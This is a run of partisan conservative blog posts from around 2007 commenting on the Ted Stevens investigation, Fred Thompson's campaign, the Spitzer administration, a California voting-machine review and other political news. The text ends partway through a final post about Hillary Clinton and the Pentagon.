Accusations over close ties to lobbyists have led to the search of the home of Senator Ted Stevens.

Agents from the FBI and the Internal Revenue Service raided the Alaska home of Sen. Ted Stevens (R) yesterday as part of a broad federal investigation of political corruption in the state that has also swept up his son and one of his closest financial backers, officials said.

Stevens, the longest-serving Republican senator in history, is under scrutiny from the Justice Department for his ties to an Alaska energy services company, Veco, whose chief executive pleaded guilty in early May to a bribery scheme involving state lawmakers.

Contractors have told a federal grand jury that in 2000, Veco executives oversaw a lavish remodeling of Stevens's house in Girdwood, an exclusive ski resort area 40 miles from Anchorage, according to statements by the contractors.

Stevens said in a statement that his attorneys were advised of the impending search yesterday morning. He said he would not comment on details of the inquiry to avoid "any appearance that I have attempted to influence its outcome."

If he broke the law, I urge vigorous prosecution. I don't embrace criminals holding office under the my party's banner -- that is the custom of the Democrats.

So far there are no reports of cash hidden in the freezer.

Posted by: Greg at 02:28 AM | Comments (10) | Add Comment
Post contains 234 words, total size 2 kb.

Some folks are ready to write off Fred Thompson due to early fundraising numbers.

Fred Thompson plans to announce Tuesday that his committee to test the waters for a Republican presidential campaign raised slightly more than $3 million in June, substantially less than some backers had hoped, according to Republican sources.

Thompson plans to make the disclosure in a filing with the Internal Revenue Service, as he continues to operate his prospective campaign as a political organization that does not require disclosure to the Federal Election Commission.

Many Republicans had seen the “Law & Order” actor and former U.S. senator from Tennessee as a potential savior in a tough election cycle.

He attracted support from such top-shelf party figures as Mary Matalin, Liz Cheney, George P. Bush and other GOP stalwarts who saw him as a potential Hillary Clinton slayer.

But many Republicans have turned queasy as Thompson has ousted part of his original brain trust and repeatedly delayed his official announcement, which is now planned for shortly after Labor Day, in the first two weeks of September.

Some are already saying a prospective Thompson run is a flop. “I just don’t see it anymore,” said a key Republican who had been extremely enthusiastic about a Thompson candidacy.

"That number is really underwhelming. There were indications it could be double that. They've been saying that people were waiting for Fred, and the money was going to pour in. He looks like he's already losing momentum."

Some thoughts on this.

1) This represents only a one month's worth of fundraising. All things considered, not bad.

2) Exploratory committees are only supposed to raise "what could reasonably be expected to be used for exploratory activities”. As Captain Ed has pointed out, Politico (which now is questioning the "low" numbers) raised that issue weeks ago -- and there have already been accusations by the KOS-sacks are, in fact, accusing Thompson of raising TOO MUCH money under that provision.

3) There are many Republicans, especially among the grass roots, who don't give to exploratory committees -- we wait for a candidate to formally announce before writing our checks.

OPEN TRACKBACKING AT Perri Nelson's Website, Rosemary's Thoughts, third world county, DeMediacratic Nation, Right Truth, Adam's Blog, Blue Star Chronicles, Pirate's Cove, The Pink Flamingo, Webloggin, The Amboy Times, Leaning Straight Up, Republican National Convention Blog, Conservative Cat, Conservative Thoughts, and Pursuing Holiness, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 02:21 AM | Comments (2) | Add Comment
Post contains 406 words, total size 4 kb.

I caught this little blurb in one of the articles on left-wing attempts to target FoxNews advertisers.

Groups like the Sierra Club have targeted Home Depot because they believe it's inconsistent for the company to promote environmentally friendly products while advertising on a network that has questioned global warming.

Oh -- so you mean that all sides of the issue shouldn't be presented? That "fair and balanced" treatment of the issue really means that only one side should be heard -- even though there is significant questioning of the underlying premise that human beings are causing global warming?

It appears to me that the problem is not that FoxNews isn't fair and balanced -- it is that the rest of the news media is not, and they want to silence the only dissenting voice.

Posted by: Greg at 03:21 AM | No Comments | Add Comment
Post contains 150 words, total size 1 kb.

What do the constant claims that "the war is lost" and we need to "bring them home now" have on America's position in Iraq?

Try to imagine what was running through the mind of Hassan Kazemi Qomi, Iran's ambassador to Baghdad, as he sat across the negotiating table from his American counterpart, Ryan Crocker, last week. While the U.S. diplomat delivered his stern warning against Iranian meddling in Iraq, Qomi must have wondered: Why should I listen to this guy? Congress is going to start pulling U.S. troops out soon, no matter what he says.

That's the difficulty for Crocker and Gen. David Petraeus as they try to manage a stable transition in Iraq while Congress chants ever more loudly: "Troops out! Troops out!" It's hard for anyone to take American power seriously when prominent members of Congress are declaring the war already lost.

In short, though he essentially agrees with the position of this administration and those of us who still support victory in Iraq -- the Democrats in Congress have undercut the US military and national security with their efforts to ensure defeat in Iraq. Their efforts are making the situation in Iraq -- now and in the future -- worse rather than better.

Posted by: Greg at 02:59 AM | No Comments | Add Comment
Post contains 216 words, total size 1 kb.

Yesterday, the new York Times ran an article that demonstrated that Alberto Gonzales told Congress the truth about disputes over NSA surveillance programs and his meeting with John Ashcroft.

Today, however, the New York Times insists that Alberto Gonzales be fired or impeached for not telling the truth about such dissent.

Their argument?

As far as we can tell, there are three possible explanations for Mr. Gonzales’s talk about a dispute over other — unspecified — intelligence activities. One, he lied to Congress. Two, he used a bureaucratic dodge to mislead lawmakers and the public: the spying program was modified after Mr. Ashcroft refused to endorse it, which made it “different” from the one Mr. Bush has acknowledged. The third is that there was more wiretapping than has been disclosed, perhaps even purely domestic wiretapping, and Mr. Gonzales is helping Mr. Bush cover it up.

As far as I can tell, there are three possible explanations for the New York TimesÂ’ talk about the veracity of Mr. Gonzales comments and the need for his firing or impeachment.. One, they don't read their own newspaper. Two, the editorial page operates using a different set of facts than the newsroom does, making the reality on the editorial page different from the one that has been reported in the news pages of the New York Times . The third is that the facts don't matter to the editorial page of the New York Times, and that they therefore choose to ignore the reporting of their own reporters in an attempt to undermine the Bush administration.

Regardless, it is clear that the New York Times is no longer a reliable news source -- based upon the reporting and editorials of the New York Times.

Posted by: Greg at 01:33 AM | No Comments | Add Comment
Post contains 300 words, total size 2 kb.

Ronald Reagan, not a "liberal" or "progressive".

The Gipper still has a hold on American hearts and minds. Of five political labels meant to designate presidential hopefuls, "like Reagan" proved to be the most popular in a new Rasmussen survey, trumping a quartet of more familiar descriptors.

The survey revealed that 44 percent of the respondents rated the phrase "like Reagan" positively, followed by "progressive," favored by 35 percent, "conservative" (32 percent), "moderate" (29 percent) and at the bottom, "liberal" (20 percent).

On the other hand, we have what amounts to a statistical dead heat between moderate, conservative, and progressive, each getting roughly 1/3 of the American people to view the term as positive when one takes into account the 3% margin of error.

And as far as progressive goes, I'm all for progress -- but what the left-wing is selling these days is hardly progress, but is instead nothing more than the same old failed liberal crap re-branded.

Posted by: Greg at 10:23 AM | No Comments | Add Comment
Post contains 167 words, total size 1 kb.

But then again, when the group is run by a group of old Clinton, Kerry, and Kennedy hands, why would you expect anything else?

This is about what you'd expect, but Democracy Corps has released yet another survey demonstrating that the Republican Party is losing young people in droves. Among 18-29 year olds, 50% have a favorable view of the Democratic Party compared to only 35% for the Republican Party. There are plenty of reasons for this, but basically they hate George Bush, they hate the Iraq war, and they hate religious conservatives.

The good news, of course, is that people are brand loyal. Once they make up their minds in their twenties which party they like better, they generally stick with it for the rest of their lives. So the Republican Party's deal with the devil to embrace the Christian Right might have helped them out for a while, but in the long term it's a disaster. Sic transit etc.

So let's see -- a left-leaning columnist for a left-leaning publication is pumping a study bya left-leaning froup purporting to show that young people lean to the left. Like I should believe that there is any objectivity there.

Posted by: Greg at 04:50 AM | No Comments | Add Comment
Post contains 215 words, total size 1 kb.

But I have to ask, does it really mean anything.

State-sanctioned teams of computer hackers were able to break through the security of virtually every model of California's voting machines and change results or take control of some of the systems' electronic functions, according to a University of California study released Friday.

The researchers "were able to bypass physical and software security in every machine they tested,'' said Secretary of State Debra Bowen, who authorized the "top to bottom review" of every voting system certified by the state.

Neither Bowen nor the investigators were willing to say exactly how vulnerable California elections are to computer hackers, especially because the team of computer experts from the UC system had top-of-the-line security information plus more time and better access to the voting machines than would-be vote thieves likely would have.

Now what sort of information were these folks given?

"All information available to the secretary of state was made available to the testers,'' including operating manuals, software and source codes usually kept secret by the voting machine companies, said Matt Bishop, UC Davis computer science professor who led the "red team" hacking effort, said in his summary of the results.

Oh -- so the Secretary of State's office gave them the key to the lock and now loudly announces that the teams were able to open the front door. DUH!

Given unlimited access to the machines, unlimited information about them, and the latest in technological resources, a team of top researchers can break into the machines. But even the researchers recognize that their work does not mesh with real-world conditions.

And interestingly enough, the integrity of the computer code itself was found to be high, with no malicious software issues that could be used to alter the outcome of an election. So much for the claims of opponents of "black box voting" and screenwriters like those who produced Man of the Year.

The problem is, of course, that any system can be gamed. Considering the history of voting irregularities with paper ballots and computer punch cards, are the new electronic systems really any less secure? And while I would like to see a paper trail added to the electronic voting machines, I feel pretty secure about them.

Posted by: Greg at 03:03 AM | Comments (231) | Add Comment
Post contains 385 words, total size 3 kb.

After all, leading liberals believe they have a God-given right to control the courts and impose liberalism through the judiciary, no matter what the beliefs of the overwhelming majority of Americans.

New York Sen. Charles E. Schumer, a powerful member of the Democratic leadership, said Friday the Senate should not confirm another U.S. Supreme Court nominee under President Bush “except in extraordinary circumstances.”

“We should reverse the presumption of confirmation,” Schumer told the American Constitution Society convention in Washington. “The Supreme Court is dangerously out of balance. We cannot afford to see Justice Stevens replaced by another Roberts, or Justice Ginsburg by another Alito.”

Schumer’s assertion comes as Democrats and liberal advocacy groups are increasingly complaining that the Supreme Court with Bush’s nominees – Chief Justice John Roberts and Associate Justice Samuel A. Alito – has moved quicker than expected to overturn legal precedents.

Senators were too quick to accept the nominees’ word that they would respect legal precedents, and “too easily impressed with the charm of Roberts and the erudition of Alito,” Schumer said.

Let's see -- to the best of my knowledge, only one precedent was overturned last year, and that in a lawsuit dealing with product pricing. Brown v. Board of Education was vigorously upheld by the conservative majority -- much to the chagrin of liberals who wanted its central holding overturned so that government could classify students by race and then use that to send students to schools far from their homes, just like was done to little Linda Brown. They upheld the First Amendment by holding that government cannot ban all speech about officeholders prior to an election. Justice Kennedy (a moderate that liberals profess to admire) was able to further clarify the holding on partial-birth abortion from several years ago.

But not to worry -- if Schumer carries through on this threat, the GOP can pay it back in spades from blocking the confirmation of any nominee put forth by a Democrat in the White House. We may yet have a five judge court by the 2012 election.

H/T Malkin, Captain's Quarters

OPEN TRACKBACKING AT Outside the Beltway, Perri Nelson's Website, Blog @ MoreWhat.com, DeMediacratic Nation, 123beta, Adam's Blog, Right Truth, Stuck On Stupid, Webloggin, Cao's Blog, The Amboy Times, The Bullwinkle Blog, Leaning Straight Up, , Conservative Cat, Conservative Thoughts, Pursuing Holiness, third world county, Woman Honor Thyself, The Crazy Rants of Samantha Burns, The World According to Carl, Pirate's Cove, Nuke's news and views, Blue Star Chronicles, The Pink Flamingo, Wyvern Dreams, CommonSenseAmerica, Dumb Ox Daily News, High Desert Wanderer, Church and State, and Public Eye, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 02:11 AM | No Comments | Add Comment
Post contains 449 words, total size 6 kb.

It looks like the former Massachusetts governor may have to address the Mormon issue head-on -- although it doesn't seem to be something he will do immediately.

Republican presidential candidate Mitt Romney said Thursday he'll probably deliver a speech explaining the role his Mormon faith plays in his political life, but he argued he's made strong gains among evangelicals despite questions about his religion.

"I have thought about that," Romney said in an interview with The Associated Press. "I haven't made a final decision, but it's probably more likely than not."

* * *

In the interview, Romney acknowledged the issue crops up often enough that he's pondering dealing with it in a comprehensive manner.

"It's probably too early for something like that," Romney said. "At some point it's more likely than not, but we'll see how things develop."

There is precedent for such a step. When John F. Kennedy sought the presidency in 1960, there was a whispering campaign about his Catholicism and he largely put the issue to rest by going to Texas to deliver a speech about the role that religion played in his life.

Romney said it's too early to decide what he would say in such a speech, largely because he hasn't made a final decision to deliver such a talk.

Personally, I don't think Mitt Romney can afford to wait to deal with the issue. His best bet, from where I stand, would be to address the issue at the time of the time of the Texas straw poll, in about five or six weeks. It is an event that all candidates are participating in, in a state where he does not already have a lead. What's more, Texas is a state where the evangelical wing of the GOP is strong -- and a strong showing following such a speech would be viewed as a sign that he has, in fact, laid the matter to rest.

Posted by: Greg at 02:21 AM | No Comments | Add Comment
Post contains 336 words, total size 2 kb.

Yeah, that's right -- that money you earned won't go in your savings account, but in the account of someone that John Edwards views as more worthy of your hard-earned dollars.

Among the proposals, Edwards would make long-term savings easier for low-income families with "Get Ahead Accounts" that would match savings up to $500 per year. He also would provide a tax credit he calls work bonds, which would also be matched and would go directly into savings accounts. He proposes exempting the first $250 in interest, capital gains and dividends to allow low-income families to get a start on savings tax-free.

This is a whole new level of government transfer payments -- not only will the federal government continue seeing that basic needs are met (not a power delegated to it by the Constitution, but a reality for decades), but now it is going to engage in a little wealth-building for them by guaranteeing that they all have savings accounts and regular deposits by Uncle Sugar.

Don Surber comments on another aspect of the Edwards plan.

OPEN TRACKBACKING AT Outside the Beltway, Perri Nelson's Website, Blog @ MoreWhat.com, DeMediacratic Nation, 123beta, Adam's Blog, Right Truth, Stuck On Stupid, Webloggin, Cao's Blog, The Amboy Times, The Bullwinkle Blog, Leaning Straight Up, , Conservative Cat, Conservative Thoughts, Pursuing Holiness, third world county, Woman Honor Thyself, The Crazy Rants of Samantha Burns, The World According to Carl, Pirate's Cove, Nuke's news and views, Blue Star Chronicles, The Pink Flamingo, Wyvern Dreams, CommonSenseAmerica, Dumb Ox Daily News, High Desert Wanderer, Church and State, and Public Eye, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 01:48 AM | No Comments | Add Comment
Post contains 292 words, total size 4 kb.

After all, then Democrats would have nothing to say about any particularly good deals Senator Murkowski made.

Sen. Lisa Murkowski said Thursday she and her husband will sell Alaska land back to its owner, a day after a complaint to the Senate ethics committee about the purchase of the riverfront property.

"While Verne and I intended to make this our family home and we paid a fair price for this land, no property is worth compromising the trust of the Alaskan people," the Alaska Republican said in a prepared statement.

Murkowski said the vacant lot was being sold back to a friend, real estate developer Bob Penney, for $179,400, the same price that she and her husband, Verne Martell, had paid Penney.

Murkowski has drawn criticism over the purchase late last year of property along the scenic Kenai River, southwest of Anchorage on the Kenai Peninsula.

Real estate agents said the land could have fetched as much as $350,000. Penney, who lives two lots from the tract he sold Murkowski and owns the land in between, has said he considered the price paid a fair deal.

This seems to be a case of "less than meets the eye". However, I applaud the Senator for taking a course of action to end even the appearance of impropriety. After all, it isn't like she was making sweetheart deals with a a known criminal.

Posted by: Greg at 01:12 AM | No Comments | Add Comment
Post contains 247 words, total size 2 kb.

Yesterday I wrote about the New York Times and its effort to downplay the scandal in the administration of New York Governor Eliot Spitzer. Well, now Spitzer is proclaiming that the State Senate lacks the authority to investigate his administration -- even when it involves efforts by the Governor's Office to use state law enforcement to investigate and discredit political opponents.

Gov. Eliot Spitzer vowed on Wednesday to fight any State Senate inquiry into his administrationÂ’s internal operations, even as Republican senators were laying the groundwork for an investigation that could lead to subpoenas of top officials.

The administrationÂ’s stance sets the stage for a potential showdown with the Senate, and it came amid rising concerns even among Mr. SpitzerÂ’s fellow Democrats about whether the governor and his staff had been candid about their officeÂ’s effort to discredit a political rival.

A scathing report issued on Monday by Attorney General Andrew M. Cuomo concluded that the governorÂ’s staff had broken no laws but had misused the State Police to gather information about Joseph L. Bruno, the Senate majority leader, in an effort to plant a negative story about him.

The governor has maintained that he was misled by his staff and knew nothing about the effort to discredit Mr. Bruno. But two of his closest aides refused to be interviewed by the attorney generalÂ’s investigators, intensifying suspicion, especially among the governorÂ’s critics, that Mr. Spitzer and his staff had not been forthright.

During his tenure as Attorney General, Spitzer was known for subpoenaing and investigating everyone and everything on the most tenuous grounds. here we have clear wrong-doing by the Spitzer administration, and the governor is unwilling to submit to the same sort of probing to which he subjected others. Maybe this matter needs to be turned into an impeachment proceeding -- because we know that liberal Democrats are just wild about impeachment. And i',m curious -- will the New York Times write an editorial like this about the Spitzer Administration?

Posted by: Greg at 02:50 AM | No Comments | Add Comment
Post contains 335 words, total size 3 kb.

It's for the children, don't you know.

US senators today made a bipartisan call for the universal implementation of filtering and monitoring technologies on the Internet in order to protect children at the end of a Senate hearing for which civil liberties groups were not invited.

Commerce Committee Chairman Daniel K. Inouye (D-Hawaii) and Senate Commerce, Science, and Transportation Committee Vice Chairman Ted Stevens (R-Alaska) both argued that Internet was a dangerous place where parents alone will not be able to protect their children.

“While filtering and monitoring technologies help parents to screen out offensive content and to monitor their child’s online activities, the use of these technologies is far from universal and may not be fool-proof in keeping kids away from adult material," Sen. Inouye said. “In that context, we must evaluate our current efforts to combat child pornography and consider what further measures may be needed to stop the spread of such illegal material over high-speed broadband connections."

"Given the increasingly important role of the Internet in education and commerce, it differs from other media like TV and cable because parents cannot prevent their children from using the Internet altogether," Sen. Stevens said. "The headlines continue to tell us of children who are victimized online. While the issues are difficult, I believe Congress has an important role to play to ensure that the protections available in other parts of our society find their way to the Internet."

Nobody I know is for kiddie porn or sexual solicitation of children over the internet. However, I've got a bit of a problem here, in that this proposal would make the government the censor of the internet, imposing a prior restraint upon the publication of any material until it has been signed-of on by a government employee of some sort. The First Amendment bans such prior restraint in the case of printed material and broadcast material. I fail to see how it could not do so for the internet.

And, of course, once we set the precedent for kiddie porn, the next step is to impose restraints on other material deemed harmful to children -- perhaps government limits on so-called "hate speech" -- in an attempt to make the internet safe for kids. The result, would be, limiting the freedom of adults to access legal, adult-appropriate material on the internet. because when the government decides that only that which is appropriate for children can be published, then adults are only permitted to read or watch that which is deemed to be appropriate for children.

H/T Captain's Quarters

Posted by: Greg at 01:58 AM | No Comments | Add Comment
Post contains 440 words, total size 3 kb.

Now it sounds like there is a problem -- but I see at least one explanation of missing equipment that I have a question about.

In one instance documented by the accountability office, an unidentified worker explained the fate of a missing laptop, worth $4,265:

“This computer, although assigned to me, was being used on board the International Space Station. I was informed that it was tossed overboard to be burned up in the atmosphere when it failed.”

The employee was not disciplined.

I suppose that there might be an obvious reason for the employee not being disciplined -- perhaps the computer was taken aboard the ISS and jettisoned after it quit working. After all, a service call was probably out of the question.

I wonder if next they will take on the issue of NASA employees managing their blogs from work?

Posted by: Greg at 01:17 AM | No Comments | Add Comment
Post contains 150 words, total size 1 kb.

Running a few minutes behind schedule, Senator Fred Thompson took some time to visit with a crowd of supporters upon his arrival in Houston this morning. Upon arrival he found a couple of hundred supporters to see and hear what the unofficial candidate for the GOP nomination had to say. I got a chance to shake hands with the Senator and even got more than just a wink and a nod when I urged him to "Make history in Houston" -- he grinned and said "I can come back, can't I?"

Senator Thompson had a few words for the waiting crowd -- I picked up right after the obligatory amusing anecdote about the state of Texas.

Overall, I was favorably impressed with how he handled the crowd, the press, and the Ron PauLunatic who attempted to disrupt the event.

Now I realize that I have endorsed a different candidate for the nomination, and I still support that candidate. I may, however, be open to reconsidering that support once Fred Thompson actually enters the race.

UPDATE: It seems that the Ron PauLunatic has become something of a story -- so how about if I tell you what happened from my perspective STANDING RIGHT NEXT TO HER (if you see a red Hawaiian shirt in any picture or video, that is me).

1) She was permitted to ask her first question -- and Fred Thompson tried to answer it. He had to ask her to stop talking in order to be able to do so. Once he was done, staff attempted to ask her to leave. She whined about being touched, and ignored their attempts to remove her from an event in a private terminal booked by the campaign (which was therefore a private venue, not a public forum).

2) At least twice more that I recall, the staff attempted to speak to her. She rebuffed them each time.

3) Finally, as she began raving again, police (presumably off-duty cops hired by the organizers to provide security) stepped in so as to prevent her from disrupting the Senator's departure. Again, this is consistent with this being an event in a non-public venue.

OPEN TRACKBACKING AT Outside the Beltway, Blog @ MoreWhat.com, Perri Nelson's Website, The Random Yak, DeMediacratic Nation, guerrilla radio, Big Dog's Weblog, Stuck On Stupid, Webloggin, The Amboy Times, Leaning Straight Up, Cao's Blog, The Bullwinkle Blog, Conservative Cat, Conservative Thoughts, third world county, Blue Star Chronicles, Nuke's news and views, Planck's Constant, The Pink Flamingo, Dumb Ox Daily News, Right Voices, and Public Eye, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 06:05 AM | Comments (17) | Add Comment
Post contains 440 words, total size 7 kb.

During his tenure as New York's Attorney General, Eliot Spitzer's office was noted for its willingness to leak information damaging to the targets of its investigation in an unethical attempt to pressure them to "compromise" when Spitzer had a weak case but needed to score PR points. Many views those leaks as running right up to the edge of ethical conduct -- or crossing that line. Reporters, of course, viewed those leaks as acceptable, so never raised questions about the conduct of the leaker -- Darren Dopp.

Unfortunately for Dopp and his boss, it appears that years of playing fast and loose with ethics and the law has caught up with them.

This week, though, a withering report by the attorney generalÂ’s office found that some of Mr. SpitzerÂ’s top deputies crossed an ethical line by ordering the State Police to gather embarrassing information about Mr. Bruno to share with reporters.

The report and its revelations have rocked an administration that appeared to relish political combat — a Spitzer biography, after all, was called “Spoiling for a Fight” — and they raised new questions about the bellicose, competitive ethos of an administration that has at times seemed more adept at breaking eggs than at making omelets.

But then again, why should we be surprised. Spitzer and Co. were known for splashy announcements about questionable lawsuits, demands for settlements, and leaks to friendly reporters designed to damage their opponents in teh public eye and prejudice juries. Why should they have changed simply because the moved to the Governor's Mansion?

The New York Times, of course, is more interested in salvaging the Spitzer Administration than in seeing justice done. After all, it has run a puff-piece on Dopp, another concerned about how the Administration can salvage itself, and a third that applies a radically different standard than they would if this were, for example the Bush Administration. Note the failure of Spitzer's top aides to cooperate with the investigation.

Two of Gov. Eliot SpitzerÂ’s top staff members refused requests from the attorney generalÂ’s office that they submit to interviews in the investigation of the administrationÂ’s use of the State Police to tarnish a political rival.

The two men, Darren Dopp, the communications director, and Richard Baum, the secretary to the governor, are considered Mr. SpitzerÂ’s closest advisers, and their roles in the internal effort to damage Senate Majority Leader Joseph L. Bruno have drawn intense attention. The governor has repeatedly said that his staff fully cooperated with the investigation. Mr. Dopp was suspended indefinitely by the governor on Monday, and no action was taken against Mr. Baum.

According to documents and interviews, Mr. Dopp and Mr. Baum never subjected themselves to questions under oath from investigators in Attorney General Andrew M. CuomoÂ’s office.

Instead, on Sunday, the day before the report was released, they submitted two-paragraph statements sworn before the governorÂ’s legal counsel that minimized their role.

I'm curious -- had Scooter Libby taken such a course, would the New York Times have found that acceptable? If the Bush Administration chose to follow such a path in any investigation, would the New York Times have let that matter pass? hardly -- but since Spitzer is a friendly Democrat, what do you expect. Biased reporting, double standards -- that's the New York Times.

Posted by: Greg at 12:37 AM | No Comments | Add Comment
Post contains 580 words, total size 4 kb.

Gotta love this earmark. Congressman Charles Rangel has tucked a $2 million appropriation into a pending piece of legislation -- for the Charles B. Rangel Center for Public Service.

New York Rep. Charles Rangel has been raising funds from taxpayers and corporations for a center in Harlem to be named after a prominent U.S. congressman – Charles Rangel.

The Democrat has quietly raised nearly $25 million for the Charles B. Rangel Center for Public Service at City College, located in a four-story Harlem building and aimed at steering low-income and minority students into politics, the New York Post reports.

Last week Rangel – chairman of the House Ways and Means Committee – pushed through a $2 million "earmark” in the House to serve as seed money for the project.

Corporate contributions so far include $10 million from insurance company AIG and $500,000 from the Verizon Foundation. RangelÂ’s committee has jurisdiction over taxes and trade, including corporate taxation.

I'm curious -- aside from the fact it is named after the chairman of the committee, what does the Charles B. Rangel Center for Public Service have to do with taxes and trade? And why are we appropriating public money for a monument to a sitting congressman?

OPEN TRACKBACKING AT Outside the Beltway, Perri Nelson's Website, DeMediacratic Nation, Jeanette's Celebrity Corner, Adam's Blog, Right Truth, Big Dog's Weblog, The Pet Haven Blog, Webloggin, Leaning Straight Up, Conservative Cat, Conservative Thoughts, Pursuing Holiness, The World According to Carl, Pirate's Cove, The Pink Flamingo, Planck's Constant, Dumb Ox Daily News, and Gone Hollywood, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 01:40 AM | Comments (5) | Add Comment
Post contains 277 words, total size 4 kb.

Here's your quote.

"he criminal contempt of Congress statute does not apply to the President or presidential subordinates who assert executive privilege."

Answer -- Walter Dellinger, head of the Office of Legal Counsel at the Justice Department.

Under President Clinton, in 1995.

And so when Democrats object to the refusal of the Justice Department to undermine the President's use of executive privilege when they seek contempt charges against those who invoke that long-standing presidential authority, please remember that this has been official Justice Department policy for some time.

Unless you wish to finally confess that the husband of the current Democratic presidential front-runner also took us down a "lawless and unchecked path" during his time in office -- with the active support of your entire party apparatus.

Posted by: Greg at 03:22 AM | No Comments | Add Comment
Post contains 133 words, total size 1 kb.

Hide Comments | Add Comment

The wonderfully talented writer and blogger Don Surber brings us this example of how the media spins its news stories to make sure that the people get the right idea (or is that the left idea?) about the investigations of two members of Congress -- one Democrat, the other Republican -- for similar alleged offenses involving real estate transactions.

AP described the organization that investigated Mollohan as “a conservative group.”

AP described the organization that investigated Murkowski as “a watchdog group” in its lead paragraph and “a government and ethics watchdog group” in its third paragraph.

Of course, in each instance, AP was describing the National Legal and Policy Center.

When a Democratic congressman’s financial records are scrutinized, the National Legal and Policy Center is “a conservative group.”

But when it goes after a Republican, why it is “a government and ethics watchdog group.”

Thanks for making the distinction clear, AP.

Of course we see this stuff all the time. The ACLU is a "civil liberties group" while the ACLJ and ADF, which are equally concerned with civil liberties, are "conservative" or "right-wing" legal groups. But never have we been presented with such a clear example of bias -- the label changing depending on who the group is targetting.

Posted by: Greg at 03:00 AM | No Comments | Add Comment
Post contains 221 words, total size 2 kb.

When a liberal mainstay like the Washington Post begins taking a Democrat leader to task for playing politics, you know the strategy is a real loser.

The decision of Democrats led by Senate Majority Leader Harry M. Reid (Nev.) to deny rather than nourish a bipartisan agreement is, of course, irresponsible. But so was Mr. Reid's answer when he was asked by the Los Angeles Times how the United States should manage the explosion of violence that the U.S. intelligence community agrees would follow a rapid pullout. "That's a hypothetical. I'm not going to get into it," the paper quoted the Democratic leader as saying.

Yeah, that's right -- Half-wit Harry doesn't want to get into the consequences of the extreme and irresponsible policy he is advocating. He wants a pell-mell, devil-take-the-hindmost retreat from Iraq that will be a disaster so that he and his party can use the resulting chaos there and vulnerability in the US to their best political advantage. This refusal to seek consensus overlooks the fact that there is, already, a broad consensus for a policy that reduces but does not eliminate the US presence in Iraq and implements the Baker-Hamilton plan put forth by the Iraq Study Group -- and which is supported by a majority of Senators AND the White House.

However, Reid and the Democrat leadership are clearly placing partisan advantage over patriotism and the best interests of country. And the Post editorial speaks eloquently on the point.

There's no guarantee that Mr. Bush can agree with Congress on those points or that he will make the effort to do so. But a Democratic strategy of trying to use Iraq as a polarizing campaign issue and as a club against moderate Republicans who are up for reelection will certainly have the effect of making consensus impossible -- and deepening the trouble for Iraq and for American security.

So which is it, Harry -- are you an American first, or merely a partisan hack?

Posted by: Greg at 02:13 AM | Comments (7) | Add Comment
Post contains 342 words, total size 2 kb.

I usually ignore Keith Olbermann -- this third-rate sports reporter really has no credibility to comment on any issue related to politics or the War in Iraq. However, yesterday's commentary has one of the more outrageous assaults on the character of the President of the United States that I have ever heard, and deserves a response.

Go to Baghdad now and fulfill, finally, your military service obligations.

Go there and fight, your war. Yourself.

Now wait one minute, Mr. Olbermann. On October 1, 1973, George W. Bush received an honorable discharge, indicating that he had fulfilled his military service obligation in an honorable fashion. Examinations of his service records indicate that he did, in fact, complete all required hours necessary to fulfill that military service obligation.

On the other hand, Mr. Olbermann, exactly how long did YOU serve in the military, and what is your discharge status?

Oh, that's right -- you were too busy playing sports reporter to bother with military service.

You are unfit to even launder the president's soiled jockstrap.

Sit down.

Shut up.

You are the worst person in the world!

Posted by: Greg at 09:14 AM | No Comments | Add Comment
Post contains 189 words, total size 1 kb.

I think I'm going to go blind!

There was cleavage on display Wednesday afternoon on C-SPAN2. It belonged to Sen. Hillary Clinton.

She was talking on the Senate floor about the burdensome cost of higher education. She was wearing a rose-colored blazer over a black top. The neckline sat low on her chest and had a subtle V-shape. The cleavage registered after only a quick glance. No scrunch-faced scrutiny was necessary. There wasn't an unseemly amount of cleavage showing, but there it was. Undeniable.

And might I add -- ICK!!!!!!

Now I'll concede that there are other public figures whose cleavage I would find less appealing -- Rosie O'Donnell springs to mind -- but Hillary is right down near the bottom of my list.

I'm curious -- does the feminizing campaign help or hurt the presidential campaign?

Posted by: Greg at 08:50 AM | No Comments | Add Comment
Post contains 145 words, total size 1 kb.

To be honest, I can't disagree with the substance of these remarks by Senator Robert Byrd, clearly directed at Atlanta Falcons quarterback Michael Vick.

"The Book of Proverbs in the Holy Bible, the King James Bible, tells us a righteous man regardeth the life of his beast but the tender mercies of the wicked are cruel," Byrd said. "The immortal Dante tells us the divine justice reserves special places in Hell for certain categories of sinners. Madam president, I am confident -- madam president, I am confident that the hottest places in Hell are reserved for the souls of sick and brutal people who hold God's creatures in such brutal and cruel contempt! I yield the floor."

I'm curious, Senator -- what of sick and brutal people who hold God's children in contempt based upon race. You know, members of the KKK, an organization dedicated to the brutal, cruel, and sadistic oppression of African-Americans, Jews, Catholics and Republicans that you proudly joined and recruited for in your youth. Have you ever issued such a stinging (and well-deserved) condemnation of a group that you once described as "needed today as never before". Would you care to offer a condemnation of those who would proclaim that "ather I should die a thousand times, and see Old Glory trampled in the dirt never to rise again, than to see this beloved land of ours become degraded by race mongrels, a throwback to the blackest specimen from the wilds"? Or do dogs have a higher place in your hierarchy of being than "race mongrels" and "the blackest specimen from the wilds"?

I'd be curious to know the answers to these questions -- after all, it would tell us whether the former Kleagle was speaking on principle, or merely because it gave him the opportunity to verbally lynch another prominent black man.

OPEN TRACKBACKING AT The Virtuous Republic, Blog @ MoreWhat.com, Perri Nelson's Website, 123beta, DeMediacratic Nation, Jeanette's Celebrity Corner, Right Truth, Big Dog's Weblog, Maggie's Notebook, The Pet Haven Blog, Webloggin, Stuck On Stupid, The Amboy Times, Leaning Straight Up, Cao's Blog, The Bullwinkle Blog, Phastidio.net, Diary of the Mad Pigeon, third world county, Right Celebrity, Woman Honor Thyself, The Crazy Rants of Samantha Burns, stikNstein... has no mercy, Blue Star Chronicles, Nuke's news and views, Pirate's Cove, The Pink Flamingo, CommonSenseAmerica, Dumb Ox Daily News, and Church and State, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 06:48 AM | Comments (8) | Add Comment
Post contains 407 words, total size 5 kb.

I have a new hero -- Under Secretary of Defense Eric S. Edelman.

A Pentagon official has told Senator Hillary Rodham Clinton that questions she has raised about how the United States would withdraw from Iraq feed enemy propaganda.

The stinging wording of the message, from Under Secretary of Defense Eric S. Edelman, was unusual, particularly because it was directed at a member of the Senate Armed Services Committee.

